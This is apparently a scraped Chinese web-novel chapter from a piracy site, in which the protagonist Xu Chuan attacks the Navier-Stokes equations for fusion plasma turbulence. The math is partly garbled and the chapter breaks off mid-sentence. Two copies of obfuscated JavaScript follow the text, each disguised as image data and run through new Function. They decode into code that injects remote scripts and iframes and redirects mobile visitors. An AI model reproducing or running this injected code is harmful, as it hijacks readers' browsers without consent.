第二百七十二章:从物理的角度推进NS方程!(二更求月票)
顶点小说(biquge432.com)更新快,无弹窗!
写下标题和引言后,徐川开始步入正文。
“.....引用潘荣华与张伟哲两位教授的‘热导率的可压缩okes方程论文’,在此基础上对将初值条件进行放宽。”
“则(v,u,θ)(x)∈H*H*H变为(v,θ)∈H(0,1),uo∈H(0,1)......”
“存在一些正常数>0,使得对于任何(x,t)∈(0,1)(0,∞)。”
“可得C≤u(x,t)≤C,C≤θ(x,t≤C),及||(u-∫udx,u,θ-∫udx)(·,t)||H(0,1)≤t.......”
........
书房中,徐川开始了对NS方程的探索。
这是一个横跨了三个世纪的难题,要解决它,难度超乎想象。
从圣维南与斯托克斯在1845年独立提出粘性系数为一常数的形式方程,并命名为okes方程后,两个世纪以来研究它的数学家和物理学家繁多如过江之鲫。
然而在上面取得重大突破的,却寥寥无几屈指可数。
目前的数学界,在NS方程上的最大进度,还是他在普林斯顿的时候和费弗曼一起推进的阶段性成果。
做到了能在在曲面空间中,给定一个初始条件和边界条件,确定解的存在。
而现在,徐川要将其更进一步的推进,做到是给予一个有限界域与具有Dirichlet边界的条件,在三维空间中,okes方程存在实解,且解光滑。
如果能做到这一步,差不多就能够给可控核聚变反应堆腔室中的等离子体湍流建立一个数学模型并利用超级计算机进行控制运算了。
对于徐川来说,他目前并不期盼解决NS方程什么的,那并不是什么靠谱的好主意。
NS方程从提出到现在已经近两百年了,它依旧如一座看不到尽头的高峰般巍然屹立。
无数的登山者甚至连山脚都没有接近,人们看不到它的山顶,只能远远的隔着迷雾眺望一眼。
徐川也不敢说自己有生之年就能完成NS方程的求解。
不仅仅是因为它难,更是因为它是一个庞大的系统性工程。
克雷研究所定义的‘三维空间中的N-S方程组光滑解的存在性问题’只不过是NS方程的前奏而已。
......
别墅中,徐川已经有超过一周的时间没有出门了。
他对NS方程的推进在一开始还算顺利,偏微分方程本就是他上辈子的研究领域之一,再加上这辈子将数学作为主修的领域,在这一块,他已经成功超越了上辈子走出去了更远的距离。
但这并不能让他在NS方程上一帆风顺的走下去,在两天前,他陷入了一个瓶颈中,目前依旧还在寻找办法解决这个难题。
书房中,徐川皱着眉头盯着稿纸上的算式。
“U``=-(1/v)(1-cosA)U。”
这是一个很简单的公式,是以函数为系数的谐波方程,是从陈至达的变形张量S+R分解理论对于零压力梯度的壁面流动,得到速度剖面U(y)理论方程中形变而来的。
由这个方程可得,随着壁面距离的增大,湍流的尺度是从超高波数的微小尺度演化为趋于零波数的超大尺度。
在一般情况下,它几乎可以代替欧拉方程适用于所有的湍流,得到普遍有效的方程组。
此外,对于这个方程,已经证实的是,普朗特的对数律速度就是方程的理论解。
因此,可以认为:对于理想的壁面流动,理论解与实验解是吻合的。
简单的来说,就是在理想情况下,通过数学公式计算出来的湍流运行状态与实际运行是一模一样的。
能做到这个,就完全可以用来建立数学模型,实现对湍流的预判和控制。
但是,它有一个致命的问题!
那就是湍流区域是cosA从不能近似为1演化到接近于0的区域的,且普遍有效的解析解是难于得到的。
这对于形状怪异的可控核聚变反应堆腔室来说,是最为致命的点。
徐川想找到一个可以补足或者代替的方法,但至今未能做到。
更关键的是,数学上,严格的加速度公式是用李导数来证明的。
因此,用S+R导出的微元体加速度与李导数虽然在本质上一致,但是在力学(物理)解释上区别很大。
而目前科学界普遍接受的是基于李导数的欧拉方程,或是NS方程。
因此,对于这里给出的壁面流方程以及湍流的普遍方程,在理论界几乎没有支持性文献。
也就是说,徐川想要查阅借鉴一下以前的文献论文都做不到。
这是一个几乎全面空白的领域。
.......
书房中,将手中的稿纸揉成
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();